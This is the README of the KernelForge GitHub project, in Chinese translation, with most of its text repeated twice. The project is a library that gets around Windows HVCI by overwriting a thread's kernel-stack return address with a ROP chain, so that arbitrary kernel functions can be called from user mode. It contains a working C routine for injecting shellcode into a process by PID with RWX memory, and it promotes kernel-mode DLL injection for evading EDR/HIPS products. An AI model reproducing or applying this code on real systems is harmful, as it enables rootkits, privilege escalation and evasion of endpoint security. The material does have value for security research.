Cr4sh/KernelForge
GitHub: Cr4sh/KernelForge
该库在启用了 HVCI 的 Windows 系统上,利用任意内存读写原语和 ROP 技术实现从用户态调用任意内核函数,解决了虚拟化安全环境下无法执行自定义内核代码的难题。
Stars: 491 | Forks: 89
# Windows Kernel Forge 库
[基本信息](#general-information)
[目录](#contents)
[工作原理](#how-does-it-work)
[Kernel Forge API](#kernel-forge-api)
[使用示例](#usage-example)
[Secure Kernel 与 Kernel Forge 的接口交互](#interfacing-secure-kernel-with-kernel-forge)
## 基本信息
如今,越来越多的 Windows 机器默认启用了 VBS,这迫使 Rootkit 和内核漏洞开发者面临新的挑战。[Windows Virtualization-based Security (VBS)](https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs) 利用硬件虚拟化功能和 Hyper-V 来托管多种安全服务,为它们提供更强的保护以抵御操作系统中的漏洞,并防止恶意漏洞利用试图破坏保护机制。其中一项服务是 [Hypervisor-Enforced Code Integrity (HVCI)](https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity),它利用 VBS 显著加强了代码完整性策略的执行。
* **Q1:** 在启用了 HVCI 的目标机器上,即使拥有提供强大任意内存读写原语的最棒本地权限提升内核漏洞,我也无法再执行自己的内核代码了。
* **A1:** 你可以使用仅数据攻击(data only attack)来覆盖进程令牌(token),获取 Local System 权限,并加载任何合法的第三方 WHQL 签名驱动程序,该驱动程序提供对 I/O 端口、物理内存和 MSR 寄存器的访问。
* **Q2:** 但是,如果我想用任意参数调用任意内核函数怎么办?
* **A2:** 这正是我制作 Kernel Forge 库的原因,它为此特定目的提供了便捷的 API。
Kernel Forge 由两个主要组件组成:第一个库实现了调用任意内核函数所需的主要功能,第二个库用于委托任意内存读写原语:它可以是本地权限提升漏洞,或者只是围绕第三方 WHQL 签名的 loldriver 的封装。在这个项目中,我使用了 `WinIo.sys` 的变体,它提供完整的物理内存访问,并且在启用 HVCI 的情况下也能正常工作:
## 目录
Kernel Forge 代码库由以下文件组成:
* `kforge_driver/` − `WinIo.sys` 驱动程序封装的静态库,提供内存读/写 API。
* `kforge_library/` − 实现 Kernel Forge 主要功能的静态库。
* `kforge/` − Kernel Forge 库的 DLL 版本,用于使用 CFFI 与不同语言进行接口交互。
* `include/kforge_driver.h` − `kforge_driver.lib` 程序接口。
* `include/kforge_library.h` − `kforge_library.lib` 程序接口。
* `kforge_example/` − 一个示例程序,使用 `kforge_library.lib` API 执行经典的内核模式到用户模式的 DLL 注入攻击。
* `dll_inject_shellcode.cpp`/`dll_inject_shellcode.h` − `kforge_example.exe` 使用的 Shellcode,用于处理被注入的 DLL 镜像导入并执行其他操作。
* `dummy/` − 与 `kforge_example.exe` 配合使用的虚拟 DLL 项目,在将其注入某个进程后显示消息框。
## 工作原理
Kernel Forge 背后的思想非常简单,没有任何创新的漏洞利用技术,只有安全研究人员已经熟知的常见内容,但以更方便的库形式提供,以便与第三方项目一起使用。
许多内核模式 Payload 可以被视为一系列函数调用,但由于 HVCI 的存在,我们在内核空间中不能有任何攻击者控制的可执行代码,因此 Kernel Forge 使用以下方法从用户模式执行此类内核函数调用:
1. 创建新的事件对象和一个新的虚拟线程,该线程在此事件上调用 `WaitForSingleObject()` 以将自身切换到等待状态。此时,虚拟线程调用堆栈如下所示:
```
Child-SP RetAddr Call Site
fffff205`b0bfa660 fffff805`16265850 nt!KiSwapContext+0x76
fffff205`b0bfa7a0 fffff805`16264d7f nt!KiSwapThread+0x500
fffff205`b0bfa850 fffff805`16264623 nt!KiCommitThreadWait+0x14f
fffff205`b0bfa8f0 fffff805`1662cae1 nt!KeWaitForSingleObject+0x233
fffff205`b0bfa9e0 fffff805`1662cb8a nt!ObWaitForSingleObject+0x91
fffff205`b0bfaa40 fffff805`164074b5 nt!NtWaitForSingleObject+0x6a
fffff205`b0bfaa80 00007ffc`f882c6a4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ fffff205`b0bfaa80)
00000094`169ffce8 00007ffc`f630a34e ntdll!NtWaitForSingleObject+0x14
00000094`169ffcf0 00007ff6`66d72edd KERNELBASE!WaitForSingleObjectEx+0x8e
00000094`169ffd90 00000000`00000000 kforge_example!DummyThread+0xd
```
2. 同时,主线程使用带有 `SystemHandleInformation` 信息类的 `NtQuerySystemInformation()` 原生 API 函数来查找虚拟线程 `_KTHREAD` 结构地址。
3. 使用任意内存读取原语获取 `_KTHREAD` 结构的 `StackBase` 和 `KernelStack` 字段,这些字段保存了虚拟线程内核栈位置的信息。
4. 使用任意内存读取原语从底部开始遍历虚拟线程内核栈,以定位从 `nt!NtWaitForSingleObject()` 返回到系统调用分发器 `nt!KiSystemServiceCopyEnd()` 函数的返回地址。
5. 然后 Kernel Forge 构造一些 ROP 链,以使用指定参数调用所需的内核函数,将其返回值保存到用户模式内存中,并将执行传递给 `nt!ZwTerminateThread()` 以便在 ROP 链执行后优雅地关闭虚拟线程。任意内存写入原语用于用第一个 ROP gadget 的地址覆盖先前定位的返回地址:
6. 最后,Kernel Forge 主线程将事件对象设置为信号状态,这将恢复虚拟线程并触发 ROP 链执行。
正如你所见,这是一种非常可靠的技术,不涉及任何魔法。当然,这种方法有大量明显的局限性:
* 你不能使用 Kernel Forge 调用 `nt!KeStackAttachProcess()` 函数,该函数会更改当前进程地址空间。
* 你只能在 passive IRQL 级别执行调用。
* 你不能调用任何注册内核模式回调的函数,例如 `nt!IoSetCompletionRoutine()`、`nt!PsSetCreateProcessNotifyRoutine()` 等。
此外,`kforge_driver.lib` 依赖于仅提供物理内存访问的 `WinIo.sys` 驱动程序。要在此基础上实现虚拟内存访问,我们需要找到内核虚拟地址空间的 PML4 页表映射位置。目前我正在使用 `PROCESSOR_START_BLOCK` 结构扫描方法从其字段之一获取 PML4 地址。但是,在使用传统启动方式的机器上不存在 `PROCESSOR_START_BLOCK`,但这实际上并不是真正的问题,因为由于严格的要求,此类机器无法支持 HVCI。
然而,即使存在上述限制,你仍然可以为启用了 HVCI 的目标开发非常有用的内核模式 Payload。在图中你可以看到 `kforge_example.exe` 实用程序,它使用 `kfroge_library.lib` API 调用相应的内核函数,以将 DLL 注入到用户模式进程中,其 `KPROCESSOR_MODE` 值为 `KernelMode`,这可能适用于绕过 EDR/HIPS 安全产品:
## Kernel Forge API
Kernel Forge 库提供以下 C API:
```
/**
* Initialize Kernel Forge library: reads kernel image into the user mode memory,
* finds needed ROP gadgets, etc, etc.
*
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfInit(void);
```
```
/**
* Uninitialize Kernel Forge library when you don't need to use its API anymore.
*
* @return TRUE if success and FALSE in case of error.
*/
BOOL KfUninit(void);
```
```
/**
* Call kernel function by its name, it can be exported ntoskrnl.exe function
* or not exported Zw function.
*
* @param lpszProcName Name of the function to call.
* @param Args Array with its arguments.
* @param dwArgsCount Number of the arguments.
* @param pRetVal Pointer to the variable that receives return value of the function.
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
```
```
/**
* Call an arbitrary function by its kernel address.
*
* @param ProcAddr Address of the function to call.
* @param Args Array with its arguments.
* @param dwArgsCount Number of the arguments.
* @param pRetVal Pointer to the variable that receives return value of the function.
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
```
```
/**
* Get system call number by appropriate ntdll native API function name.
*
* @param lpszProcName Name of the function.
* @param pdwRet Pointer to the variable that receives system call number.
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet);
```
```
/**
* Get an actual kernel address of the function exported by ntoskrnl.exe image.
*
* @param lpszProcName Name of exported function.
* @return Address of the function or NULL in case of error.
*/
PVOID KfGetKernelProcAddress(char *lpszProcName);
```
```
/**
* Get an actual kernel address of not exported Zw function of ntoskrnl.exe image
* using signature based search.
*
* @param lpszProcName Name of Zw function to search for.
* @return Address of the function or NULL in case of error.
*/
PVOID KfGetKernelZwProcAddress(char *lpszProcName);
```
```
/**
* Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
* specified amount of non paged kernel heap memory.
*
* @param Size Number of bytes to allocate.
* @return Kernel address of allocated memory or NULL in case of error.
*/
PVOID KfHeapAlloc(SIZE_T Size);
```
```
/**
* Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
* specified amount of non paged kernel heap memory and copy specified data from
* the user mode into the allocated memory.
*
* @param Size Number of bytes to allocate.
* @param Data Data to copy into the allocated memory.
* @return Kernel address of allocated memory or NULL in case of error.
*/
PVOID KfHeapAllocData(SIZE_T Size, PVOID Data);
```
```
/**
* Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory
* that was allocated by KfHeapAlloc() or KfHeapAllocData() functions.
*
* @param Addr Address of the memory to free.
*/
void KfHeapFree(PVOID Addr);
```
```
/**
* Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data
* between kernel mode and user mode or vice versa.
*
* @param Dst Address of the destination memory.
* @param Src Address of the source memory.
* @param Size Number of bytes to copy.
* @return Destination memory address if success or NULL in case of error.
*/
PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size);
```
```
/**
* Wrapper that uses KfCall() to execute nt!memset() function to fill memory region
* with specified character.
*
* @param Dst Address of the destination memory.
* @param Val Character to fill.
* @param Size Number of bytes to fill.
* @return Destination memory address if success or NULL in case of error.
*/
PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size);
```
要将 Kernel Forge 与你自己的 loldriver 或内核漏洞一起使用,你只需要实现一个自定义版本的 `kforge_driver.lib` 库,它具有相当简单的程序接口。
## 使用示例
在这里你可以看到一段简化后的 C 代码,它使用 Kernel Forge API 通过 PID 将调用者指定的 Shellcode 注入到用户模式进程中:
```
BOOL ShellcodeInject(HANDLE ProcessId, PVOID Shellcode, SIZE_T ShellcodeSize)
{
BOOL bRet = FALSE;
DWORD_PTR Status = 0;
HANDLE hProcess = NULL, hThread = NULL;
SIZE_T MemSize = ShellcodeSize;
PVOID MemAddr = NULL;
CLIENT_ID ClientId;
OBJECT_ATTRIBUTES ObjAttr;
InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
ClientId.UniqueProcess = ProcessId;
ClientId.UniqueThread = NULL;
// initialize Kernel Forge library
if (!KfInit())
{
goto _end;
}
PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle
KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess
KF_ARG(&ObjAttr), // ObjectAttributes
KF_ARG(&ClientId) }; // ClientId
// open the target process by its PID
if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status)))
{
goto _end;
}
if (NT_ERROR(Status))
{
goto _end;
}
PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(&MemAddr), // BaseAddress
KF_ARG(0), // ZeroBits
KF_ARG(&MemSize), // RegionSize
KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
// allocate memory for the shellcode
if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status)))
{
goto _end;
}
if (NT_ERROR(Status))
{
goto _end;
}
PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(MemAddr), // BaseAddress
KF_ARG(Shellcode), // Buffer
KF_ARG(ShellcodeSize), // NumberOfBytesToWrite
KF_ARG(NULL) }; // NumberOfBytesWritten
// copy shellcode data into the allocated memory
if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status)))
{
goto _end;
}
if (NT_ERROR(Status))
{
goto _end;
}
PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(NULL), // SecurityDescriptor
KF_ARG(FALSE), // CreateSuspended
KF_ARG(0), // StackZeroBits
KF_ARG(NULL), // StackReserved
KF_ARG(NULL), // StackCommit
KF_ARG(MemAddr), // StartAddress
KF_ARG(NULL), // StartParameter
KF_ARG(&hThread), // ThreadHandle
KF_ARG(&ClientId) }; // ClientId
// create new thread to execute the shellcode
if (!KfCall("RtlCreateUserThread", Args_4, 10, KF_RET(&Status)))
{
goto _end;
}
if (NT_SUCCESS(Status))
{
// shellcode was successfully injected
bRet = TRUE;
}
_end:
// uninitialize Kernel Forge library
KfUninit();
return bRet;
}
```
有关更完整的示例,请参阅 `kforge_example.exe` 的源代码。
## Secure Kernel 与 Kernel Forge 的接口交互
在启用了 VBS/HVCI 的机器上,Hyper-V 功能被用于将系统在逻辑上划分为两个独立的“世界”:运行我们熟悉的常规 NT 内核的正常世界(VTL0)和运行 Secure Kernel (SK) 的隔离安全世界(VTL1)。要了解更多关于 VBS/HVCI 内部机制的信息,我推荐以下资料:
* Hans Kristian Brendmo 的 [Windows 10 安全内核实时取证](https://www.semanticscholar.org/paper/Live-forensics-on-the-Windows-10-secure-kernel.-Brendmo/e275cc28c5c8e8e158c45e5e773d0fa3da01e118)
* [The BSI](https://www.bsi.bund.de/EN/TheBSI/thebsi_node.html) 的 [工作包 6:虚拟安全模式](https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/SiSyPHus/Workpackage6_Virtual_Secure_Mode.pdf?__blob=publicationFile&v=2)
* [Alex Ionescu](https://twitter.com/aionescu) 的 [SKM 与 IUM 之战:Windows 10 如何重写操作系统架构](https://www.youtube.com/watch?v=LqaWIn4y26E)
* [Saar Amar](https://twitter.com/AmarSaar) 和 [Daniel King](https://twitter.com/long123king) 的 [通过攻击安全内核破解 VSM](https://i.blackhat.com/USA-20/Thursday/us-20-Amar-Breaking-VSM-By-Attacking-SecureKernal.pdf)
另外,也可以看看我的 Hyper-V 后门项目,它允许绕过 HCVI,在 VTL1 中加载自定义内核驱动程序,在隔离用户模式 (IUM) 中运行第三方 Trustlet 以及执行许多其他操作。
为了与 Secure Kernel 通信,ntoskrnl 使用特殊的 VTL0 到 VTL1 超级调用,这些调用记录在 [Hyper-V Hypervisor Top-Level Functional Specification](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs) 中,由 `nt!HvlSwitchToVsmVtl1()` 辅助函数执行。这个未导出的函数被许多其他未导出的 ntoskrnl 函数用于执行各种操作,其中大多数具有 `Vsl` 前缀:
这组 `Vsl` 函数为 VTL1 和 Secure Kernel 隔离环境的模糊测试和漏洞利用暴露了特别有趣的攻击面。使用 Kernel Forge,你可以从用户模式程序调用这些函数,而无需使用任何复杂且不便的解决方案,如我的 Hyper-V 后门或基于 QEMU 的调试器。要通过调用 NT 内核的 `Vsl` 函数与 Secure Kernel 交互,更适合使用 `kforge.dll` 配合 [ctypes library](https://docs.python.org/3/library/ctypes.html) 作为外部函数接口从 Python 代码调用,并使用 [pdbparse](https://github.com/moyix/pdbparse) 之类的工具从调试符号中提取未导出函数的地址。
## TODO
* 目前 Kernel Forge 不支持链式调用,即虚拟线程的单次执行只能执行一个用户指定的内核函数。然而,线程内核栈有足够的空闲空间来容纳更多的 ROP gadget,这可能允许将多个调用作为单个序列执行。此功能可用于调用各种设计为成对工作的内核函数(如 `KeStackAttachProcess`/`KeUnstackDetachProcess`、`KeRaiseIrql`/`KeLowerIrql` 等),并克服上述的一些限制。
## 开发者
Dmytro Oleksiuk (aka Cr4sh)
cr4sh0@gmail.com
http://blog.cr4.sh
[@d_olex](http://twitter.com/d_olex)
## 目录
Kernel Forge 代码库由以下文件组成:
* `kforge_driver/` − `WinIo.sys` 驱动程序封装的静态库,提供内存读/写 API。
* `kforge_library/` − 实现 Kernel Forge 主要功能的静态库。
* `kforge/` − Kernel Forge 库的 DLL 版本,用于使用 CFFI 与不同语言进行接口交互。
* `include/kforge_driver.h` − `kforge_driver.lib` 程序接口。
* `include/kforge_library.h` − `kforge_library.lib` 程序接口。
* `kforge_example/` − 一个示例程序,使用 `kforge_library.lib` API 执行经典的内核模式到用户模式的 DLL 注入攻击。
* `dll_inject_shellcode.cpp`/`dll_inject_shellcode.h` − `kforge_example.exe` 使用的 Shellcode,用于处理被注入的 DLL 镜像导入并执行其他操作。
* `dummy/` − 与 `kforge_example.exe` 配合使用的虚拟 DLL 项目,在将其注入某个进程后显示消息框。
## 工作原理
Kernel Forge 背后的思想非常简单,没有任何创新的漏洞利用技术,只有安全研究人员已经熟知的常见内容,但以更方便的库形式提供,以便与第三方项目一起使用。
许多内核模式 Payload 可以被视为一系列函数调用,但由于 HVCI 的存在,我们在内核空间中不能有任何攻击者控制的可执行代码,因此 Kernel Forge 使用以下方法从用户模式执行此类内核函数调用:
1. 创建新的事件对象和一个新的虚拟线程,该线程在此事件上调用 `WaitForSingleObject()` 以将自身切换到等待状态。此时,虚拟线程调用堆栈如下所示:
```
Child-SP RetAddr Call Site
fffff205`b0bfa660 fffff805`16265850 nt!KiSwapContext+0x76
fffff205`b0bfa7a0 fffff805`16264d7f nt!KiSwapThread+0x500
fffff205`b0bfa850 fffff805`16264623 nt!KiCommitThreadWait+0x14f
fffff205`b0bfa8f0 fffff805`1662cae1 nt!KeWaitForSingleObject+0x233
fffff205`b0bfa9e0 fffff805`1662cb8a nt!ObWaitForSingleObject+0x91
fffff205`b0bfaa40 fffff805`164074b5 nt!NtWaitForSingleObject+0x6a
fffff205`b0bfaa80 00007ffc`f882c6a4 nt!KiSystemServiceCopyEnd+0x25 (TrapFrame @ fffff205`b0bfaa80)
00000094`169ffce8 00007ffc`f630a34e ntdll!NtWaitForSingleObject+0x14
00000094`169ffcf0 00007ff6`66d72edd KERNELBASE!WaitForSingleObjectEx+0x8e
00000094`169ffd90 00000000`00000000 kforge_example!DummyThread+0xd
```
2. 同时,主线程使用带有 `SystemHandleInformation` 信息类的 `NtQuerySystemInformation()` 原生 API 函数来查找虚拟线程 `_KTHREAD` 结构地址。
3. 使用任意内存读取原语获取 `_KTHREAD` 结构的 `StackBase` 和 `KernelStack` 字段,这些字段保存了虚拟线程内核栈位置的信息。
4. 使用任意内存读取原语从底部开始遍历虚拟线程内核栈,以定位从 `nt!NtWaitForSingleObject()` 返回到系统调用分发器 `nt!KiSystemServiceCopyEnd()` 函数的返回地址。
5. 然后 Kernel Forge 构造一些 ROP 链,以使用指定参数调用所需的内核函数,将其返回值保存到用户模式内存中,并将执行传递给 `nt!ZwTerminateThread()` 以便在 ROP 链执行后优雅地关闭虚拟线程。任意内存写入原语用于用第一个 ROP gadget 的地址覆盖先前定位的返回地址:
6. 最后,Kernel Forge 主线程将事件对象设置为信号状态,这将恢复虚拟线程并触发 ROP 链执行。
正如你所见,这是一种非常可靠的技术,不涉及任何魔法。当然,这种方法有大量明显的局限性:
* 你不能使用 Kernel Forge 调用 `nt!KeStackAttachProcess()` 函数,该函数会更改当前进程地址空间。
* 你只能在 passive IRQL 级别执行调用。
* 你不能调用任何注册内核模式回调的函数,例如 `nt!IoSetCompletionRoutine()`、`nt!PsSetCreateProcessNotifyRoutine()` 等。
此外,`kforge_driver.lib` 依赖于仅提供物理内存访问的 `WinIo.sys` 驱动程序。要在此基础上实现虚拟内存访问,我们需要找到内核虚拟地址空间的 PML4 页表映射位置。目前我正在使用 `PROCESSOR_START_BLOCK` 结构扫描方法从其字段之一获取 PML4 地址。但是,在使用传统启动方式的机器上不存在 `PROCESSOR_START_BLOCK`,但这实际上并不是真正的问题,因为由于严格的要求,此类机器无法支持 HVCI。
然而,即使存在上述限制,你仍然可以为启用了 HVCI 的目标开发非常有用的内核模式 Payload。在图中你可以看到 `kforge_example.exe` 实用程序,它使用 `kfroge_library.lib` API 调用相应的内核函数,以将 DLL 注入到用户模式进程中,其 `KPROCESSOR_MODE` 值为 `KernelMode`,这可能适用于绕过 EDR/HIPS 安全产品:
## Kernel Forge API
Kernel Forge 库提供以下 C API:
```
/**
* Initialize Kernel Forge library: reads kernel image into the user mode memory,
* finds needed ROP gadgets, etc, etc.
*
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfInit(void);
```
```
/**
* Uninitialize Kernel Forge library when you don't need to use its API anymore.
*
* @return TRUE if success and FALSE in case of error.
*/
BOOL KfUninit(void);
```
```
/**
* Call kernel function by its name, it can be exported ntoskrnl.exe function
* or not exported Zw function.
*
* @param lpszProcName Name of the function to call.
* @param Args Array with its arguments.
* @param dwArgsCount Number of the arguments.
* @param pRetVal Pointer to the variable that receives return value of the function.
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfCall(char *lpszProcName, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
```
```
/**
* Call an arbitrary function by its kernel address.
*
* @param ProcAddr Address of the function to call.
* @param Args Array with its arguments.
* @param dwArgsCount Number of the arguments.
* @param pRetVal Pointer to the variable that receives return value of the function.
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfCallAddr(PVOID ProcAddr, PVOID *Args, DWORD dwArgsCount, PVOID *pRetVal);
```
```
/**
* Get system call number by appropriate ntdll native API function name.
*
* @param lpszProcName Name of the function.
* @param pdwRet Pointer to the variable that receives system call number.
* @return TRUE if success or FALSE in case of error.
*/
BOOL KfGetSyscallNumber(char *lpszProcName, PDWORD pdwRet);
```
```
/**
* Get an actual kernel address of the function exported by ntoskrnl.exe image.
*
* @param lpszProcName Name of exported function.
* @return Address of the function or NULL in case of error.
*/
PVOID KfGetKernelProcAddress(char *lpszProcName);
```
```
/**
* Get an actual kernel address of not exported Zw function of ntoskrnl.exe image
* using signature based search.
*
* @param lpszProcName Name of Zw function to search for.
* @return Address of the function or NULL in case of error.
*/
PVOID KfGetKernelZwProcAddress(char *lpszProcName);
```
```
/**
* Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
* specified amount of non paged kernel heap memory.
*
* @param Size Number of bytes to allocate.
* @return Kernel address of allocated memory or NULL in case of error.
*/
PVOID KfHeapAlloc(SIZE_T Size);
```
```
/**
* Wrapper that uses KfCall() to execute nt!ExAllocatePool() function to allocate
* specified amount of non paged kernel heap memory and copy specified data from
* the user mode into the allocated memory.
*
* @param Size Number of bytes to allocate.
* @param Data Data to copy into the allocated memory.
* @return Kernel address of allocated memory or NULL in case of error.
*/
PVOID KfHeapAllocData(SIZE_T Size, PVOID Data);
```
```
/**
* Wrapper that uses KfCall() to execute nt!ExFreePool() function to free the memory
* that was allocated by KfHeapAlloc() or KfHeapAllocData() functions.
*
* @param Addr Address of the memory to free.
*/
void KfHeapFree(PVOID Addr);
```
```
/**
* Wrapper that uses KfCall() to execute nt!memcpy() function to copy arbitrary data
* between kernel mode and user mode or vice versa.
*
* @param Dst Address of the destination memory.
* @param Src Address of the source memory.
* @param Size Number of bytes to copy.
* @return Destination memory address if success or NULL in case of error.
*/
PVOID KfMemCopy(PVOID Dst, PVOID Src, SIZE_T Size);
```
```
/**
* Wrapper that uses KfCall() to execute nt!memset() function to fill memory region
* with specified character.
*
* @param Dst Address of the destination memory.
* @param Val Character to fill.
* @param Size Number of bytes to fill.
* @return Destination memory address if success or NULL in case of error.
*/
PVOID KfMemSet(PVOID Dst, int Val, SIZE_T Size);
```
要将 Kernel Forge 与你自己的 loldriver 或内核漏洞一起使用,你只需要实现一个自定义版本的 `kforge_driver.lib` 库,它具有相当简单的程序接口。
## 使用示例
在这里你可以看到一段简化后的 C 代码,它使用 Kernel Forge API 通过 PID 将调用者指定的 Shellcode 注入到用户模式进程中:
```
BOOL ShellcodeInject(HANDLE ProcessId, PVOID Shellcode, SIZE_T ShellcodeSize)
{
BOOL bRet = FALSE;
DWORD_PTR Status = 0;
HANDLE hProcess = NULL, hThread = NULL;
SIZE_T MemSize = ShellcodeSize;
PVOID MemAddr = NULL;
CLIENT_ID ClientId;
OBJECT_ATTRIBUTES ObjAttr;
InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
ClientId.UniqueProcess = ProcessId;
ClientId.UniqueThread = NULL;
// initialize Kernel Forge library
if (!KfInit())
{
goto _end;
}
PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle
KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess
KF_ARG(&ObjAttr), // ObjectAttributes
KF_ARG(&ClientId) }; // ClientId
// open the target process by its PID
if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status)))
{
goto _end;
}
if (NT_ERROR(Status))
{
goto _end;
}
PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(&MemAddr), // BaseAddress
KF_ARG(0), // ZeroBits
KF_ARG(&MemSize), // RegionSize
KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
// allocate memory for the shellcode
if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status)))
{
goto _end;
}
if (NT_ERROR(Status))
{
goto _end;
}
PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(MemAddr), // BaseAddress
KF_ARG(Shellcode), // Buffer
KF_ARG(ShellcodeSize), // NumberOfBytesToWrite
KF_ARG(NULL) }; // NumberOfBytesWritten
// copy shellcode data into the allocated memory
if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status)))
{
goto _end;
}
if (NT_ERROR(Status))
{
goto _end;
}
PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(NULL), // SecurityDescriptor
KF_ARG(FALSE), // CreateSuspended
KF_ARG(0), // StackZeroBits
KF_ARG(NULL), // StackReserved
KF_ARG(NULL), // StackCommit
KF_ARG(MemAddr), // StartAddress
KF_ARG(NULL), // StartParameter
KF_ARG(&hThread), // ThreadHandle
KF_ARG(&ClientId) }; // ClientId
// create new thread to execute the shellcode
if (!KfCall("RtlCreateUserThread", Args_4, 10, KF_RET(&Status)))
{
goto _end;
}
if (NT_SUCCESS(Status))
{
// shellcode was successfully injected
bRet = TRUE;
}
_end:
// uninitialize Kernel Forge library
KfUninit();
return bRet;
}
```
有关更完整的示例,请参阅 `kforge_example.exe` 的源代码。
## Secure Kernel 与 Kernel Forge 的接口交互
在启用了 VBS/HVCI 的机器上,Hyper-V 功能被用于将系统在逻辑上划分为两个独立的“世界”:运行我们熟悉的常规 NT 内核的正常世界(VTL0)和运行 Secure Kernel (SK) 的隔离安全世界(VTL1)。要了解更多关于 VBS/HVCI 内部机制的信息,我推荐以下资料:
* Hans Kristian Brendmo 的 [Windows 10 安全内核实时取证](https://www.semanticscholar.org/paper/Live-forensics-on-the-Windows-10-secure-kernel.-Brendmo/e275cc28c5c8e8e158c45e5e773d0fa3da01e118)
* [The BSI](https://www.bsi.bund.de/EN/TheBSI/thebsi_node.html) 的 [工作包 6:虚拟安全模式](https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Cyber-Sicherheit/SiSyPHus/Workpackage6_Virtual_Secure_Mode.pdf?__blob=publicationFile&v=2)
* [Alex Ionescu](https://twitter.com/aionescu) 的 [SKM 与 IUM 之战:Windows 10 如何重写操作系统架构](https://www.youtube.com/watch?v=LqaWIn4y26E)
* [Saar Amar](https://twitter.com/AmarSaar) 和 [Daniel King](https://twitter.com/long123king) 的 [通过攻击安全内核破解 VSM](https://i.blackhat.com/USA-20/Thursday/us-20-Amar-Breaking-VSM-By-Attacking-SecureKernal.pdf)
另外,也可以看看我的 Hyper-V 后门项目,它允许绕过 HCVI,在 VTL1 中加载自定义内核驱动程序,在隔离用户模式 (IUM) 中运行第三方 Trustlet 以及执行许多其他操作。
为了与 Secure Kernel 通信,ntoskrnl 使用特殊的 VTL0 到 VTL1 超级调用,这些调用记录在 [Hyper-V Hypervisor Top-Level Functional Specification](https://docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/reference/tlfs) 中,由 `nt!HvlSwitchToVsmVtl1()` 辅助函数执行。这个未导出的函数被许多其他未导出的 ntoskrnl 函数用于执行各种操作,其中大多数具有 `Vsl` 前缀:
这组 `Vsl` 函数为 VTL1 和 Secure Kernel 隔离环境的模糊测试和漏洞利用暴露了特别有趣的攻击面。使用 Kernel Forge,你可以从用户模式程序调用这些函数,而无需使用任何复杂且不便的解决方案,如我的 Hyper-V 后门或基于 QEMU 的调试器。要通过调用 NT 内核的 `Vsl` 函数与 Secure Kernel 交互,更适合使用 `kforge.dll` 配合 [ctypes library](https://docs.python.org/3/library/ctypes.html) 作为外部函数接口从 Python 代码调用,并使用 [pdbparse](https://github.com/moyix/pdbparse) 之类的工具从调试符号中提取未导出函数的地址。
## TODO
* 目前 Kernel Forge 不支持链式调用,即虚拟线程的单次执行只能执行一个用户指定的内核函数。然而,线程内核栈有足够的空闲空间来容纳更多的 ROP gadget,这可能允许将多个调用作为单个序列执行。此功能可用于调用各种设计为成对工作的内核函数(如 `KeStackAttachProcess`/`KeUnstackDetachProcess`、`KeRaiseIrql`/`KeLowerIrql` 等),并克服上述的一些限制。
## 开发者
Dmytro Oleksiuk (aka Cr4sh)
cr4sh0@gmail.comhttp://blog.cr4.sh
[@d_olex](http://twitter.com/d_olex)
标签:C/C++, HVCI, Payload开发, Rootkit, UML, VBS, Web报告查看器, Windows内核, Zeek, 事务性I/O, 代码完整性, 内存读写, 内核开发, 协议分析, 安全机制绕过, 数据展示, 数据攻击, 权限提升, 白帽子, 红队, 虚拟化安全, 驱动程序